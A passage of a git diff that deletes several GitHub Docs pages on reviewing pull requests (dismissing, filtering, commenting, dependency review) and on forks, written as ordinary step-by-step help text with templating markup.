Your comment will be added to the pull request conversation. - -{% data reusables.search.requested_reviews_search %} - -{% data reusables.repositories.sidebar-pr %} -{% data reusables.repositories.choose-pr-review %} -1. On the "Conversation" tab, next to the summary of reviews, click {% octicon "chevron-down" aria-label="show" %}. - - ![Screenshot of the merge box for a pull request. The chevron icon to see the reviews is outlined in dark orange.](/assets/images/help/pull_requests/merge_box/pull-request-open-menu.png) - -1. Next. to the review you'd like to dismiss, select the {% octicon "kebab-horizontal" aria-label="Show options" %} dropdown menu, then click **Dismiss review**. - - ![Screenshot of the merge box of a pull request. The Show options menu (kebab icon), is expanded, and the "Dismiss review" option is outlined in orange.](/assets/images/help/pull_requests/merge_box/pull-request-dismiss-review.png) - -1. Type your reason for dismissing the review, then click **Dismiss review**. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) -* [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-pull-request-reviews-before-merging) diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md deleted file mode 100644 index e31e26c270cd..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Filtering files in a pull request -intro: 'To help you quickly review changes in a large pull request, you can filter changed files or use the file tree to navigate between files.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request - - /articles/filtering-files-in-a-pull-request-by-file-type - - /articles/filtering-files-in-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/filtering-files-in-a-pull-request - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Filter files ---- -You can filter files in a pull request by file extension type, such as `.html` or `.js`, lack of an extension, code ownership, or dotfiles. You can also use the file tree to filter by file path, navigate between files, or see a high level view of the changed files. - -## Using the file filter dropdown - -> [!TIP] -> To simplify your pull request diff view, you can also temporarily hide deleted files or files you have already viewed in the pull request diff from the file filter drop-down menu. - -{% data reusables.repositories.sidebar-pr %} -1. In the list of pull requests, click the pull request you'd like to filter. -{% data reusables.repositories.changed-files %} -1. Use the File filter dropdown menu, and select, deselect, or click the desired filters. - - ![Screenshot of the view options for a pull request. The file filter option is outlined in dark orange.](/assets/images/help/pull_requests/file-filter-option.png) - -1. Optionally, to clear the filter selection, under the **Files changed** tab, click **Clear filters**. - - ![Screenshot of the view options for a pull request. The "Clear filters" option is outlined in dark orange.](/assets/images/help/pull_requests/clear-file-filter.png) - -## Using the file tree - -{% data reusables.repositories.sidebar-pr %} -1. In the list of pull requests, click the pull request you'd like to filter. -{% data reusables.repositories.changed-files %} - -1. Click on a file in the file tree to view the corresponding file diff. If the file tree is hidden, click {% octicon "sidebar-collapse" aria-label="The sidebar collapse icon" %} to display the file tree. - - > [!NOTE] - > The file tree will not display if your screen width is too narrow or if the pull request only includes one file. - - ![Screenshot of the "Files changed" tab of a pull request. In the left sidebar, the file tree is outlined in dark orange.](/assets/images/help/repository/file-tree.png) -1. To filter by file path, enter part or all of the file path in the **Filter changed files** search box. Alternatively, use the file filter dropdown. For more information, see [Using the file filter dropdown](#using-the-file-filter-dropdown). - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request) diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md deleted file mode 100644 index 210cd714e249..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Finding changed methods and functions in a pull request -intro: 'You can quickly find proposed changes to a method or function in a pull request in *.go*, *.js*, *.ts*, *.py*, *.php*, and *.rb* files.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request - - /articles/finding-changed-methods-and-functions-in-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/finding-changed-methods-and-functions-in-a-pull-request - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Methods & functions ---- -Anyone with read access to a repository can see a summary list of the functions and methods changes in certain files of a pull request. - -The summary list of methods and functions is created from these supported file types: -* Go -* JavaScript (includes TypeScript, Flow, and other types of JavaScript) -* PHP -* Python -* Ruby - -{% data reusables.repositories.sidebar-pr %} -1. In the list of pull requests, click the pull request where you'd like to find the changed functions and methods. -{% data reusables.repositories.changed-files %} -1. To see a summary list of the changed functions and methods, click **Jump to {% octicon "triangle-down" aria-hidden="true" %}**. - - ![Screenshot of the "Files changed" tab for a pull request. The "Jump to" option is outlined in dark orange.](/assets/images/help/pull_requests/jump-to-menu.png) - -1. Select the changed function or method from the drop-down menu. You can also enter the name of the function or method to filter results. - - > [!NOTE] - > If you don't see the functions or methods you expected, confirm that your code compiles and doesn't contain errors. Only functions and methods changed in this pull request and found in _.go_, _.js_, _.ts_, _.py_, _.php_, and _.rb_ files appear in the drop-down menu. - -1. You'll be redirected to the first line of the function or method you selected. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request) diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md deleted file mode 100644 index 7789ee607b44..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Incorporating feedback in your pull request -intro: 'When reviewers suggest changes in a pull request, you can automatically incorporate the changes into the pull request or open an issue to track out-of-scope suggestions.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request - - /articles/incorporating-feedback-in-your-pull-request - - /github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Incorporate feedback ---- -## Applying suggested changes - -Other people can suggest specific changes to your pull request. You can apply these suggested changes directly in a pull request if you have write access to the repository. If the pull request was created from a fork and the author allowed edits from maintainers, you can also apply suggested changes if you have write access to the upstream repository. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) and [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork). - -To quickly incorporate more than one suggested change into a single commit, you can also apply suggested changes as a batch. Applying one suggested change or a batch of suggested changes creates a single commit on the compare branch of the pull request. - -{% ifversion copilot-hadron %} - ->[!NOTE] ->If you are part of the {% data variables.release-phases.public_preview %} of {% data variables.product.prodname_copilot_workspace %}, suggested changes from people on your team, {% data variables.product.prodname_copilot_short %}, or {% data variables.product.prodname_copilot_autofix %} can all be applied and edited in {% data variables.product.prodname_copilot_workspace %}. Click **Open in {% data variables.product.prodname_copilot_workspace_short %}** on a suggested change to get started. -> ->For more information about {% data variables.product.prodname_copilot_workspace %} and joining the {% data variables.release-phases.public_preview %}, see [AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-for-pull-requests/using-copilot-to-help-you-work-on-a-pull-request). - -{% endif %} - -Each person who suggested a change included in the commit will be a co-author of the commit. The person who applies the suggested changes will be a co-author and the committer of the commit. For more information about the term committer in Git, see [Git Basics - Viewing the Commit History](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History) from the _Pro Git_ book site. - -{% data reusables.repositories.sidebar-pr %} -1. In the list of pull requests, click the pull request you'd like to apply a suggested change to. -1. Navigate to the first suggested change you'd like to apply. - * To apply the change in its own commit, click **Commit suggestion**. - - ![Screenshot of a review comment with a suggestion. The "Commit suggestion" option is outlined in dark orange.](/assets/images/help/pull_requests/commit-suggestion-button.png) - - * To add the suggestion to a batch of changes, click **Add suggestion to batch**. Continue to add the suggested changes you want to include in a single commit. When you've finished adding suggested changes, click **Commit suggestions**. - - ![Screenshot of a review comment with a suggestion. The "Add suggestion to batch" option is outlined in dark orange.](/assets/images/help/pull_requests/add-suggestion-to-batch.png) - -1. In the commit message field, type a short, meaningful commit message that describes the change you made to the file or files. -1. Click **Commit changes.** - -## Re-requesting a review - -{% data reusables.pull_requests.re-request-review %} - -## Opening an issue for an out-of-scope suggestion - -If someone suggests changes to your pull request and the changes are out of the pull request's scope, you can open a new issue to track the feedback. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review) -* [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue) diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md deleted file mode 100644 index cb2edbf7166b..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Reviewing changes in pull requests -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests - - /articles/reviewing-and-discussing-changes-in-pull-requests - - /articles/reviewing-changes-in-pull-requests - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests -intro: 'After a pull request has been opened, you can review and discuss the set of proposed changes.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -children: - - /about-pull-request-reviews - - /reviewing-proposed-changes-in-a-pull-request - - /filtering-files-in-a-pull-request - - /finding-changed-methods-and-functions-in-a-pull-request - - /commenting-on-a-pull-request - - /viewing-a-pull-request-review - - /reviewing-dependency-changes-in-a-pull-request - - /incorporating-feedback-in-your-pull-request - - /approving-a-pull-request-with-required-reviews - - /dismissing-a-pull-request-review - - /checking-out-pull-requests-locally -shortTitle: Review changes ---- - diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md deleted file mode 100644 index ae5f92e893b2..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Reviewing dependency changes in a pull request -intro: 'If a pull request contains changes to dependencies, you can view a summary of what has changed and whether there are known vulnerabilities in any of the dependencies.' -product: '{% data reusables.gated-features.dependency-review %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Pull requests - - Dependency review - - Code Security - - Vulnerabilities - - Dependencies -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request -shortTitle: Review dependency changes ---- - - -## About dependency review - -{% data reusables.dependency-review.feature-overview %} - -{% ifversion ghec %}Before you can use dependency review in a private or internal repository, or a public fork, you must enable the dependency graph. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph).{% endif %} - -{% ifversion ghes %}Before you can use dependency review, you must enable the dependency graph and connect {% data variables.location.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).{% endif %} - -Dependency review allows you to "shift left". You can use the provided predictive information to catch vulnerable dependencies before they hit production. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). - -You can use the {% data variables.dependency-review.action_name %} to help enforce dependency reviews on pull requests in your repository. {% data reusables.dependency-review.dependency-review-action-overview %} - -You can configure the {% data variables.dependency-review.action_name %} to better suit your needs by specifying the type of dependency vulnerability you wish to catch. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-review-action). - -## Reviewing dependencies in a pull request - -{% data reusables.repositories.sidebar-pr %} -{% data reusables.repositories.choose-pr-review %} -{% data reusables.repositories.changed-files %} - -1. If the pull request contains many files, use the **File filter** drop-down menu to collapse all files that don't record dependencies. This will make it easier to focus your review on the dependency changes. - - ![Screenshot of the "Changed files" tab. A dropdown labeled "File filter" is expanded, displaying a list of file types with checkboxes.](/assets/images/help/pull_requests/file-filter-menu-json.png) - The dependency review provides a clearer view of what has changed in large lock files, where the source diff is not rendered by default. - - > [!NOTE] - > Dependency review rich diffs are not available for committed static JavaScript files like `jquery.js`. - -1. On the right of the header for a manifest or lock file, display the dependency review by clicking **{% octicon "file" aria-label="Display the rich diff" %}**. - - ![Screenshot of the "Files changed" tab of a pull request. The button to display the rich diff, labeled with a file icon, is outlined in dark orange.](/assets/images/help/pull_requests/dependency-review-rich-diff.png) - -1. Check the dependencies listed in the dependency review. - - ![Screenshot of the vulnerability warnings in a dependency review for a pull request.](/assets/images/help/pull_requests/dependency-review-vulnerability.png) - - Any added or changed dependencies that have vulnerabilities are listed first, ordered by severity and then by dependency name. This means that the highest severity dependencies are always at the top of a dependency review. Other dependencies are listed alphabetically by dependency name. - - The icon beside each dependency indicates whether the dependency has been added ({% octicon "diff-added" aria-label="Dependency added icon" %}), updated ({% octicon "diff-modified" aria-label="Dependency modified icon" %}), or removed ({% octicon "diff-removed" aria-label="Dependency removed icon" %}) in this pull request. - - Other information includes: - - * The version, or version range, of the new, updated, or deleted dependency. - * For a specific version of a dependency: - * The age of that release of the dependency. - * The number of projects that are dependent on this software. This information is taken from the dependency graph. Checking the number of dependents can help you avoid accidentally adding the wrong dependency. - * The license used by this dependency, if this information is available. This is useful if you want to avoid code with certain licenses being used in your project. - - Where a dependency has a known vulnerability, the warning message includes: - - * A brief description of the vulnerability. - * A Common Vulnerabilities and Exposures (CVE) or {% data variables.product.prodname_security_advisories %} (GHSA) identification number. You can click this ID to find out more about the vulnerability. - * The severity of the vulnerability. - * The version of the dependency in which the vulnerability was fixed. If you are reviewing a pull request for someone, you might ask the contributor to update the dependency to the patched version, or a later release. - -{% data reusables.repositories.return-to-source-diff %} diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md deleted file mode 100644 index 8bc604984455..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Reviewing proposed changes in a pull request -intro: 'In a pull request, you can review and discuss commits, changed files, and the differences (or "diff") between the files in the base and compare branches.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request - - /articles/reviewing-proposed-changes-in-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/reviewing-proposed-changes-in-a-pull-request - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Review proposed changes ---- -## About reviewing pull requests - -You can review changes in a pull request one file at a time. While reviewing the files in a pull request, you can leave individual comments on specific changes. After you finish reviewing each file, you can mark the file as viewed. This collapses the file, helping you identify the files you still need to review. A progress bar in the pull request header shows the number of files you've viewed. After reviewing as many files as you want, you can approve the pull request or request additional changes by submitting your review with a summary comment. - -{% data reusables.search.requested_reviews_search_tip %} - -## Starting a review - -{% webui %} - -{% data reusables.repositories.sidebar-pr %} -{% data reusables.repositories.choose-pr-review %} -{% data reusables.repositories.changed-files %} -You can change the format of the diff view in this tab by clicking {% octicon "gear" aria-label="The Settings gear" %} and choosing the unified or split view. The choice you make will apply when you view the diff for other pull requests. - - ![Screenshot of the "Files changed" tab for a pull request. The "Diff view" menu is outlined in dark orange.](/assets/images/help/pull_requests/diff-settings-menu.png) - - You can also choose to hide whitespace differences. The choice you make only applies to this pull request and will be remembered the next time you visit this page. -1. Optionally, filter the files to show only the files you want to review or use the file tree to navigate to a specific file. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request). -{%- ifversion ghec %} -1. Optionally, if you have access to {% data variables.product.prodname_copilot_enterprise %}, you can ask {% data variables.product.prodname_copilot_short %} about the changes in a file in a pull request by clicking {% octicon "kebab-horizontal" aria-label="Show options" %} at the top right of the file, clicking **Ask {% data variables.product.prodname_copilot_short %} about this diff**, then typing a request such as "Explain these changes." For more information, see [AUTOTITLE](/enterprise-cloud@latest/copilot/github-copilot-chat/copilot-chat-in-github/using-github-copilot-chat-in-githubcom#asking-questions-about-a-specific-pull-request). -{%- endif %} -{% data reusables.repositories.start-line-comment %} -{% data reusables.repositories.multiple-lines-comment %} -{% data reusables.repositories.type-line-comment %} -{% data reusables.repositories.suggest-changes %} -{% data reusables.repositories.start-file-comment %} -1. When you're done, click **Start a review**. If you have already started a review, you can click **Add review comment**. - -Before you submit your review, your line comments are _pending_ and only visible to you. You can edit pending comments anytime before you submit your review. To cancel a pending review, including all of its pending comments, click **Review changes** above the changed code, then click **Abandon review**. - -![Screenshot of the comment field for a review. The "Abandon review" button is outlined in dark orange.](/assets/images/help/pull_requests/abandon-review-button.png) -{% endwebui %} - -{% ifversion fpt or ghec %} - -{% codespaces %} - -You can use [{% data variables.product.prodname_github_codespaces %}](/codespaces/quickstart) to test, run, and review pull requests. - -1. Open the pull request in a codespace, as described in [AUTOTITLE](/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests#opening-a-pull-request-in-codespaces). -1. In the Activity Bar, click the **{% data variables.product.github %} Pull Request** view. This view only appears when you open a pull request in a codespace. - - ![Screenshot of the {% data variables.product.prodname_vscode_shortname %} Activity Bar. The mouse pointer is hovering over an icon displaying the tooltip "{% data variables.product.prodname_dotcom %} Pull Request."](/assets/images/help/codespaces/github-pr-view.png) - -1. To review a specific file, click the **Open File** icon in the Side Bar. - - ![Screenshot of the "{% data variables.product.prodname_dotcom %} Pull Request" side bar. A file name is highlighted with a dark orange outline.](/assets/images/help/codespaces/changes-in-files.png) - -1. To add review comments, click the **+** icon next to the line number. Type your review comment and then click **Start Review**. - - ![Screenshot of a comment being added, reading "Yes, I agree, this is clearer." The "Start Review" button is shown below the comment.](/assets/images/help/codespaces/start-review.png) - -{% data reusables.codespaces.reviewing-a-pr %} - -1. When you are finished adding review comments, from the Side Bar you can choose to either submit the comments, approve the changes, or request changes. - - ![Screenshot of the side bar showing the dropdown options "Comment and Submit," "Approve and Submit," and "Request Changes and Submit."](/assets/images/help/codespaces/submit-review.png) - -For more information on reviewing pull requests in {% data variables.product.prodname_github_codespaces %}, see [AUTOTITLE](/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests). - -{% endcodespaces %} -{% endif %} - -{% webui %} -{% ifversion copilot %} - -## Understanding changes in a pull request - -> [!NOTE] {% data reusables.copilot.copilot-requires-subscription %} - -{% data variables.product.prodname_copilot %} can help you quickly understand the changes in a pull request by providing context and explanations for specific commits. If you’re unsure about the purpose of a particular change or need more details about how it fits into the broader codebase, you can ask {% data variables.product.prodname_copilot_short %} questions about individual commits. - -1. Navigate to a commit on {% data variables.product.github %}. - -{% data reusables.copilot.open-copilot %} - -1. At the bottom of the {% data variables.product.prodname_copilot_short %} chat panel, in the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and press Enter. For example, you could enter: - - * `Summarize the changes in this commit` - * `Who committed these changes?` - * `When was this commit made?` - - > [!TIP] - > If you know the SHA for a commit, instead of navigating to the commit, you can ask {% data variables.product.prodname_copilot_short %} about the commit from any page in the repository on {% data variables.product.github %} by including the SHA in your message. For example, `What changed in commit a778e0eab?` - -{% data reusables.copilot.stop-response-generation %} - -{% endif %} -{% endwebui %} - -## Reviewing dependency changes - -If the pull request contains changes to dependencies you can use the dependency review for a manifest or lock file to see what has changed and check whether the changes introduce security vulnerabilities. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request). - -{% data reusables.repositories.changed-files %} - -1. On the right of the header for a manifest or lock file, display the dependency review by clicking the **{% octicon "file" aria-label="The rich diff icon" %}** rich diff button. - - ![Screenshot of the "Files changed" tab of a pull request. The button to display the rich diff, labeled with a file icon, is outlined in dark orange.](/assets/images/help/pull_requests/dependency-review-rich-diff.png) - -{% data reusables.repositories.return-to-source-diff %} - -## Marking a file as viewed - -After you finish reviewing a file, you can mark the file as viewed, and the file will collapse. If the file changes after you view the file, it will be unmarked as viewed. - -{% data reusables.repositories.changed-files %} -1. On the right of the header of the file you've finished reviewing, select **Viewed**. - - ![Screenshot of the header of a file. The "Viewed" option is outlined in dark orange.](/assets/images/help/pull_requests/viewed-checkbox.png) - -## Submitting your review - -After you've finished reviewing all the files you want in the pull request, submit your review. - -{% data reusables.repositories.changed-files %} -{% data reusables.repositories.review-changes %} -{% data reusables.repositories.review-summary-comment %} -1. Select the type of review you'd like to leave: - - * Select **Comment** to leave general feedback without explicitly approving the changes or requesting additional changes. - * Select **Approve** to submit your feedback and approve merging the changes proposed in the pull request. - * Select **Request changes** to submit feedback that must be addressed before the pull request can be merged. -{% data reusables.repositories.submit-review %} - -{% data reusables.repositories.request-changes-tips %} - -## Further reading - -* [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-pull-request-reviews-before-merging) -* [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests) diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md deleted file mode 100644 index bf8fe714c70d..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Viewing a pull request review -intro: You can view all of the comments made in a single pull request review. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review - - /articles/viewing-a-pull-request-review - - /github/collaborating-with-issues-and-pull-requests/viewing-a-pull-request-review - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: View a PR review ---- -{% data reusables.search.requested_reviews_search %} - -When you view a full review, you'll see the same version of the pull request as the reviewer did at the time of the review. - -{% data reusables.repositories.sidebar-pr %} -{% data reusables.repositories.choose-pr-review %} -1. On the "Conversation" tab, scroll to the review you'd like to see, then click **View changes**. - - ![Screenshot of a review. The "View changes" link is outlined in dark orange.](/assets/images/help/pull_requests/view-full-review-view-changes.png) - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests) diff --git a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md deleted file mode 100644 index 893bbf24c8d2..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: About forks -intro: A fork is a new repository that shares code and visibility settings with the original “upstream” repository. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/working-with-forks/about-forks - - /articles/about-forks - - /github/collaborating-with-issues-and-pull-requests/about-forks - - /github/collaborating-with-pull-requests/working-with-forks/about-forks -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- - -## About forks - -{% data reusables.repositories.about-forks %} A fork can exist in either a personal account or an organization. - -When you view a forked repository on {% data variables.product.github %}, the upstream repository is indicated below the name of the fork. - -![Screenshot of a repository's page on GitHub. Below the name of the repository, "mona/docs", the text "forked from github/docs" is outlined in orange.](/assets/images/help/pull_requests/fork-path.png) - -In open source projects, forks are often used to iterate on ideas or changes before incorporating the changes into the upstream repository. {% data reusables.repositories.about-giving-access-to-forks %} - -Deleting a fork will not delete the original upstream repository. Code pushed to a fork will be visible from the upstream, but changes won't have any immediate effect on the upstream branches. For example, you can add collaborators, rename files, or generate {% data variables.product.prodname_pages %} on the fork without affecting the upstream branches. {% ifversion fpt or ghec %} After a fork is deleted, you cannot restore the fork. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/restoring-a-deleted-repository).{% endif %} If you delete a private repository, all forks of the repository are deleted. - -{% data reusables.repositories.forks-page %} - -## About creating forks - -{% data reusables.repositories.you-can-fork %} - -For instructions for forking a repository, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo). For more information about when you can create forks, and the permission and visibility settings of forks, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-permissions-and-visibility-of-forks). - -> [!TIP] -> {% data reusables.repositories.desktop-fork %} - -## Forking a repository versus duplicating a repository - -If you want to create a new repository from the contents of an existing repository but don't want to merge your changes to the upstream in the future, you can duplicate the repository or, if the repository is a template, you can use the repository as a template. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/duplicating-a-repository) and [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template). - -Forking a repository is similar to duplicating a repository, with the following differences. - -* Code pushed to a fork is visible to all repositories in the fork network, even after that fork is deleted. -* You can use a pull request to suggest changes from your fork to the upstream repository. -* You can bring changes from the upstream repository to your fork by synchronizing your fork with the upstream repository. -* Forks have their own members, branches, tags, labels, policies, issues, pull requests, discussions, actions, projects, and wikis. -* Forks inherit the restrictions of their upstream repositories. For example, branch protection rules cannot be passed down if the upstream repository belongs to an organization on a {% data variables.product.prodname_free_team %} plan. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork) -* [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %} -* [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %} diff --git a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-permissions-and-visibility-of-forks.md b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-permissions-and-visibility-of-forks.md deleted file mode 100644 index 51b7a825797b..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-permissions-and-visibility-of-forks.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: About permissions and visibility of forks -shortTitle: Permissions and visibility -intro: 'The permissions and visibility of forks depend on whether the upstream repository is public or private, {% ifversion fpt %}and whether it is owned by an organization{% else %}whether it is owned by an organization, and the policies of your enterprise{% endif %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- - -## About permissions for creating forks - -{% data reusables.repositories.you-can-fork %} - -If you fork a private repository that belongs to a personal account, external collaborators also get access to the fork. If you fork a private {% ifversion ghec or ghes %}or internal {% endif %}repository that belongs to an organization, teams within the organization get access to the fork, but external collaborators do not. You can add an external collaborator to a fork of a private repository that belongs to an organization if you are an owner of that organization or if your 